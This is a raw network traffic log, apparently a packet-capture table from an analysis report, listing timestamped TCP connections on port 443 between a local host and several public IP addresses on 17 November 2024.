Nov 17, 2024 22:20:29.380434990 CET	49761	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.380795002 CET	49761	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.380812883 CET	443	49761	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.386486053 CET	443	49755	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.386616945 CET	443	49755	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.386671066 CET	49755	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.386801004 CET	49755	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.386801004 CET	49755	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.386806011 CET	443	49755	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.386812925 CET	443	49755	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.388364077 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:29.388390064 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:29.388453960 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:29.389393091 CET	443	49756	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.389569998 CET	443	49756	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.389614105 CET	49756	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.389919043 CET	49756	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.389929056 CET	443	49756	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.389940977 CET	49756	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.389946938 CET	443	49756	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.391102076 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:29.391117096 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:29.392374992 CET	49763	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.392389059 CET	443	49763	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.392440081 CET	49763	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.392541885 CET	49763	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.392554045 CET	443	49763	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.393649101 CET	49764	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.393737078 CET	443	49764	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.393799067 CET	49764	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.393938065 CET	49764	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:29.393975019 CET	443	49764	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:29.398075104 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.398143053 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.398153067 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.415105104 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.415193081 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.415208101 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.416599035 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.416661024 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.416667938 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.419485092 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.419538021 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.419544935 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.419629097 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.419673920 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.419681072 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.428626060 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.428747892 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.428755999 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.432677984 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.432733059 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.432739973 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.497736931 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.533782005 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.534862041 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.534943104 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.534981012 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.535058022 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.535118103 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.535291910 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.538079977 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.538141966 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.538158894 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.538249016 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.538330078 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.538409948 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.538475990 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.538547039 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.547307968 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.551441908 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.551515102 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.551522017 CET	443	49752	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.551532030 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.602869034 CET	49702	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:29.604196072 CET	49765	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:29.604245901 CET	443	49765	104.98.116.138	192.168.2.7
Nov 17, 2024 22:20:29.605048895 CET	49765	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:29.606019974 CET	49765	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:29.606051922 CET	443	49765	104.98.116.138	192.168.2.7
Nov 17, 2024 22:20:29.607028961 CET	49752	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.607045889 CET	443	49752	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.607089996 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.607153893 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.607815981 CET	443	49702	104.98.116.138	192.168.2.7
Nov 17, 2024 22:20:29.609131098 CET	49752	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.609198093 CET	443	49752	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.609270096 CET	49752	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.652280092 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.653064966 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.653084993 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.653887033 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.653981924 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.654000044 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.656729937 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.656791925 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.656799078 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.656812906 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.656881094 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:29.656932116 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.658104897 CET	49750	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:29.658118963 CET	443	49750	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:30.080007076 CET	443	49759	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.080553055 CET	49759	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.080573082 CET	443	49759	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.081105947 CET	49759	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.081111908 CET	443	49759	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.106987000 CET	443	49760	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.107531071 CET	49760	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.107546091 CET	443	49760	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.108308077 CET	49760	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.108313084 CET	443	49760	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.125411987 CET	443	49761	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.126039982 CET	49761	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.126055002 CET	443	49761	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.126663923 CET	49761	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.126669884 CET	443	49761	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.150093079 CET	443	49764	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.150576115 CET	49764	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.150604010 CET	443	49764	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.151159048 CET	49764	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.151170969 CET	443	49764	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.160548925 CET	443	49763	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.161184072 CET	49763	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.161206961 CET	443	49763	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.162668943 CET	49763	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.162678957 CET	443	49763	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.210026979 CET	443	49759	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.210093975 CET	443	49759	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.210156918 CET	49759	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.210333109 CET	49759	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.210347891 CET	443	49759	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.210357904 CET	49759	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.210362911 CET	443	49759	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.213242054 CET	49769	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.213273048 CET	443	49769	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.213481903 CET	49769	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.213854074 CET	49769	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.213867903 CET	443	49769	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.237186909 CET	443	49760	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.237391949 CET	443	49760	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.237473011 CET	49760	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.240571022 CET	49760	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.240583897 CET	443	49760	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.245618105 CET	49770	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.245642900 CET	443	49770	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.245835066 CET	49770	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.246052027 CET	49770	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.246066093 CET	443	49770	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.257401943 CET	443	49761	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.257540941 CET	443	49761	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.257635117 CET	49761	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.262980938 CET	49761	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.263010979 CET	443	49761	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.263041973 CET	49761	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.263057947 CET	443	49761	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.265985966 CET	49771	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.266015053 CET	443	49771	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.266107082 CET	49771	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.266314030 CET	49771	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.266328096 CET	443	49771	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.282464027 CET	443	49764	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.282639980 CET	443	49764	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.282764912 CET	49764	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.282820940 CET	49764	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.282820940 CET	49764	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.282851934 CET	443	49764	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.282876968 CET	443	49764	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.285284042 CET	49772	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.285353899 CET	443	49772	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.285423040 CET	49772	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.285589933 CET	49772	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.285609961 CET	443	49772	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.292283058 CET	443	49763	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.292350054 CET	443	49763	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.292741060 CET	49763	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.292778015 CET	49763	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.292798996 CET	443	49763	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.292821884 CET	49763	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.292834997 CET	443	49763	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.294733047 CET	49773	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.294756889 CET	443	49773	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.294922113 CET	49773	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.295062065 CET	49773	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.295073032 CET	443	49773	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.460597038 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:30.460707903 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:30.463875055 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:30.463885069 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:30.464250088 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:30.505100965 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:30.954372883 CET	443	49769	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.955156088 CET	49769	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.955173016 CET	443	49769	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.955810070 CET	49769	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.955816031 CET	443	49769	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.970176935 CET	443	49770	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.970653057 CET	49770	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.970664024 CET	443	49770	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:30.971276999 CET	49770	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:30.971282959 CET	443	49770	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.000663042 CET	443	49771	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.001147985 CET	49771	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.001156092 CET	443	49771	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.001569033 CET	49771	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.001573086 CET	443	49771	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.022768021 CET	443	49773	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.023128033 CET	49773	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.023155928 CET	443	49773	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.023677111 CET	49773	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.023683071 CET	443	49773	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.030951023 CET	443	49772	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.031318903 CET	49772	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.031342983 CET	443	49772	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.031873941 CET	49772	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.031882048 CET	443	49772	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.086453915 CET	443	49769	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.086592913 CET	443	49769	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.086699009 CET	49769	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.087014914 CET	49769	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.087014914 CET	49769	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.087028027 CET	443	49769	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.087035894 CET	443	49769	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.090394974 CET	49777	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.090423107 CET	443	49777	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.090795994 CET	49777	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.091151953 CET	49777	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.091167927 CET	443	49777	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.098776102 CET	443	49770	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.098846912 CET	443	49770	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.098915100 CET	49770	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.099028111 CET	49770	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.099040031 CET	443	49770	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.099066973 CET	49770	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.099081039 CET	443	49770	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.102085114 CET	49778	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.102104902 CET	443	49778	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.102324963 CET	49778	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.102489948 CET	49778	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.102500916 CET	443	49778	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.129026890 CET	443	49771	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.129201889 CET	443	49771	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.129300117 CET	49771	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.129457951 CET	49771	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.129457951 CET	49771	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.129467964 CET	443	49771	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.129476070 CET	443	49771	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.132549047 CET	49779	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.132565022 CET	443	49779	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.132680893 CET	49779	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.132894039 CET	49779	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.132915974 CET	443	49779	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.152962923 CET	443	49773	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.153153896 CET	443	49773	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.153239012 CET	49773	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.153445959 CET	49773	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.153461933 CET	443	49773	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.158160925 CET	49780	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.158185959 CET	443	49780	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.158292055 CET	49780	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.158421993 CET	49780	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.158435106 CET	443	49780	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.158649921 CET	443	49772	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.158819914 CET	443	49772	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.158875942 CET	49772	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.159193993 CET	49772	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.159210920 CET	443	49772	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.159224033 CET	49772	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.159230947 CET	443	49772	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.162645102 CET	49781	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.162667036 CET	443	49781	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.162723064 CET	49781	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.162990093 CET	49781	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.163006067 CET	443	49781	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.405919075 CET	49782	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:31.405972958 CET	443	49782	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:31.406099081 CET	49782	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:31.406447887 CET	49782	443	192.168.2.7	142.250.181.228
Nov 17, 2024 22:20:31.406464100 CET	443	49782	142.250.181.228	192.168.2.7
Nov 17, 2024 22:20:31.434657097 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:31.475330114 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:31.787535906 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:31.787570000 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:31.787580013 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:31.787591934 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:31.787627935 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:31.787657976 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:31.787678003 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:31.787689924 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:31.787723064 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:31.788606882 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:31.788670063 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:31.788681030 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:31.820935011 CET	443	49777	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.821566105 CET	49777	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.821583033 CET	443	49777	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.822043896 CET	49777	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.822050095 CET	443	49777	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.859585047 CET	443	49779	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.860541105 CET	49779	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.860560894 CET	443	49779	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.860958099 CET	49779	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.860963106 CET	443	49779	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.864890099 CET	443	49778	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.865361929 CET	49778	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.865375996 CET	443	49778	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.865787983 CET	49778	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.865796089 CET	443	49778	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.894421101 CET	443	49762	4.245.163.56	192.168.2.7
Nov 17, 2024 22:20:31.894484997 CET	49762	443	192.168.2.7	4.245.163.56
Nov 17, 2024 22:20:31.904633999 CET	443	49781	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.905298948 CET	49781	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.905314922 CET	443	49781	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.905828953 CET	49781	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.905836105 CET	443	49781	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.907071114 CET	443	49780	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.907517910 CET	49780	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.907557011 CET	443	49780	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.907906055 CET	49780	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.907913923 CET	443	49780	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.950329065 CET	443	49777	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.950433969 CET	443	49777	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.950553894 CET	49777	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.950838089 CET	49777	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.950838089 CET	49777	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.950856924 CET	443	49777	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.950876951 CET	443	49777	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.955451965 CET	49785	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.955492973 CET	443	49785	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.957045078 CET	49785	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.963440895 CET	49785	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.963459015 CET	443	49785	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.992750883 CET	443	49779	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.992822886 CET	443	49779	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.992882013 CET	49779	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.993066072 CET	49779	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.993066072 CET	49779	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:31.993083954 CET	443	49779	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.993096113 CET	443	49779	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:31.995613098 CET	443	49778	13.107.246.45	192.168.2.7
